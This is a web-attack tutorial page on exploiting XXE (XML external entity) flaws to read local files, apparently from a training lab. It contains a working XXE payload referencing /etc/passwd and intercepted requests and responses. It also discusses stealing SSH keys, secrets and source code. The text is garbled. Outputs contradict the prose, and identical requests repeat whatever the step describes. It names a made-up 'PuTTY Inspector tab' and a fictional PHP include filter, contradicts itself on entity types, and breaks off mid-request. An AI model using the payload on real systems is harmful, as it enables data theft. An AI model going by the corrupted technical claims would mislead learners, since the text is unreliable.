

WEB ATTACKS

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Local File Disclosure

Cheat Sheet


Go to Questions

When a web application trusts unfiltered XML data from user input, we may be able to reference an external XML DTD document and define new custom XML entities. Suppose we can define new entities and have them displayed on the web page. In that case, we should also be able to define external entities and make them reference a local file, which, when displayed, should show us the content of that file on the back-end server.

Let us see how we can identify potential XXE vulnerabilities and exploit them to read sensitive files from the back-end server.

Identifying

The first step in identifying potential XXE vulnerabilities is finding web pages that accept an XML user input. We can start the exercise at the end of this section, which has a [Contact Form](#):




If we fill the contact form and click on **Send Data**, then intercept the HTTP request with Burp, we get the following request:



```
Request
POST /submitEmails.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 137
Content-Transfer-Encoding: entity-body
<root>
<email>email@xxe.htb</email>
</root>
```

As we can see, the form appears to be sending our data in an XML format to the web server, making this a potential XXE testing target. Suppose the web application uses outdated XML libraries, and it does not apply any filters or sanitization on our XML input. In that case, we may be able to exploit this XML form to read local files.

If we send the form without any modification, we get the following message:




```
Request
POST /submitEmails.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 137
Content-Transfer-Encoding: entity-body
<root>
<email>email@xxe.htb</email>
</root>
```

```
Response
HTTP/1.1 200 OK
Date: Fri, 24 Apr 2020 14:41 (Ubuntu)
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Content-Length: 137
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 137
Content-Transfer-Encoding: entity-body
<root>
<email>email@xxe.htb</email>
</root>
```

We see that the value of the **email** element is being displayed back to us on the page. To print the content of an external file to the page, we should **note which elements are being displayed, such that we know which elements to inject into**. In some cases, no elements may be displayed, which we will cover how to exploit in the upcoming sections.


For now, we know that whatever value we place in the **<email></email>** element gets displayed in the HTTP response. So, let us try to define a new entity and then use it as a variable in the **email** element to see whether it gets replaced with the value we defined. To do so, we can use what we learned in the previous section for defining new XML entities and add the following lines after the first line in the XML input:



```
Code: XML
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
```

Note: In our example, the XML input in the HTTP request had no DTD being declared within the XML data itself, or being referenced externally, so we added a new DTD before defining our entity. If the **DOCTYPE** was already declared in the XML request, we would just add the **ENTITY** element to it.

Now, we should have a new XML entity called **company**, which we can reference with **&company;**. So, instead of using our email in the **email** element, let us try using **&company;**, and see whether it will be replaced with the value we defined (**InLane Freight**):



```
Request
POST /submitEmails.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 137
Content-Transfer-Encoding: entity-body
<root>
<email>&company;</email>
</root>
```

```
Response
HTTP/1.1 200 OK
Date: Fri, 24 Apr 2020 14:41 (Ubuntu)
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Content-Length: 137
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 137
Content-Transfer-Encoding: entity-body
<root>
<email>root:x:0:0:root:/root:/bin/bash</email>
</root>
```

As we can see, the response did use the value of the entity we defined (**InLane Freight**) instead of displaying **&company;**, indicating that we may inject XML code. In contrast, a non-vulnerable web application would display **&company;** as a raw value. **This confirms that we are dealing with a web application vulnerable to XXE.**

Note: Some web applications may default to a JSON format in HTTP request, but may still accept other formats, including XML. So, even if a web app sends requests in a JSON format, we can try changing the **Content-Type** header to **application/xml**, and then convert the JSON data to XML with an [online tool](#). If the web application does accept the request with XML data, then we may also test it against XXE vulnerabilities, which may reveal an unanticipated XXE vulnerability.


Reading Sensitive Files

Now that we can define new internal XML entities let's see if we can define external XML entities. Doing so is fairly similar to what we did earlier, but we'll just add the **SYSTEM** keyword and define the external reference path after it, as we have learned in the previous section:



```
Code: XML
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
```

Let us now send the modified request and see whether the value of our external XML entity gets set to the file we reference:



```
Request
POST /submitEmails.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 137
Content-Transfer-Encoding: entity-body
<root>
<email>&company;</email>
</root>
```

```
Response
HTTP/1.1 200 OK
Date: Fri, 24 Apr 2020 14:41 (Ubuntu)
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Content-Length: 137
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 137
Content-Transfer-Encoding: entity-body
<root>
<email>root:x:0:0:root:/root:/bin/bash</email>
</root>
```


We see that we did indeed get the content of the **/etc/passwd** file, meaning that we have successfully exploited the XXE vulnerability to read local files. This enables us to read the content of sensitive files, like configuration files that may contain passwords or other sensitive files like an **id_rsa** SSH key of a specific user, which may grant us access to the back-end server. We can refer to the [File Inclusion / Directory Traversal](#) module to see what attacks can be carried out through local file disclosure.

Tip: In certain Java web applications, we may also be able to specify a directory instead of a file, and we will get a directory listing instead, which can be useful for locating sensitive files.

Reading Source Code

Another benefit of local file disclosure is the ability to obtain the source code of the web application. This would allow us to perform a [Whitebox Penetration Test](#) to unveil more vulnerabilities in the web application, or at the very least reveal secret configurations like database passwords or API keys.

So, let us see if we can use the same attack to read the source code of the **index.php** file, as follows:



```
Request
POST /submitEmails.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 137
Content-Transfer-Encoding: entity-body
<root>
<email>&company;</email>
</root>
```

```
Response
HTTP/1.1 200 OK
Date: Fri, 24 Apr 2020 14:41 (Ubuntu)
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Content-Length: 137
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 137
Content-Transfer-Encoding: entity-body
<root>
<email>root:x:0:0:root:/root:/bin/bash</email>
</root>
```

With that, we can send our request, and we will get the base64 encoded string of the **index.php** file:


```
Request
POST /submitEmails.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
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<root>
<email>&company;</email>
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Content-Length: 137
Connection: close
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<root>
<email>root:x:0:0:root:/root:/bin/bash</email>
</root>
```

We can select the **base64** string, click on **PuTTY Inspector tab** (on the right panel), and it will show us the decoded file. For more on PuTTY filters, you can refer to the [File Inclusion / Directory Traversal](#) module.

Furthermore, we cannot read any binary data, as it would also not conform to the XML format.

Luckily, PHP provides wrapper filters to do so, instead of using **<![CDATA[...]]>** as our reference file, we will use PHP's **<![#INCLUDE file="..."]>** filter. With this filter, we can specify the **convert_base64_encode** encoder as our filter, and then add an input resource (e.g. **resource:index.php**), as follows:


```
Code: XML
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
```

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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0.0.1
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As we can see, this happened because the XML entity we are referencing is not in XML format, so it did not get referenced. This happened because the XML entity, if we are referencing it, we are referencing it as an external XML entity. If we are referencing it as an internal XML entity, then it will be referenced as an external XML entity. This is a common issue with XML entities.

Finally, one common use of XXE attacks is causing a Denial of Service (DoS) to the hosting web server, with the use of the **SYSTEM** keyword:


```
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Host: 127.0.0.1
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Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
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Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
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Host: 127.0.0.1
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0
```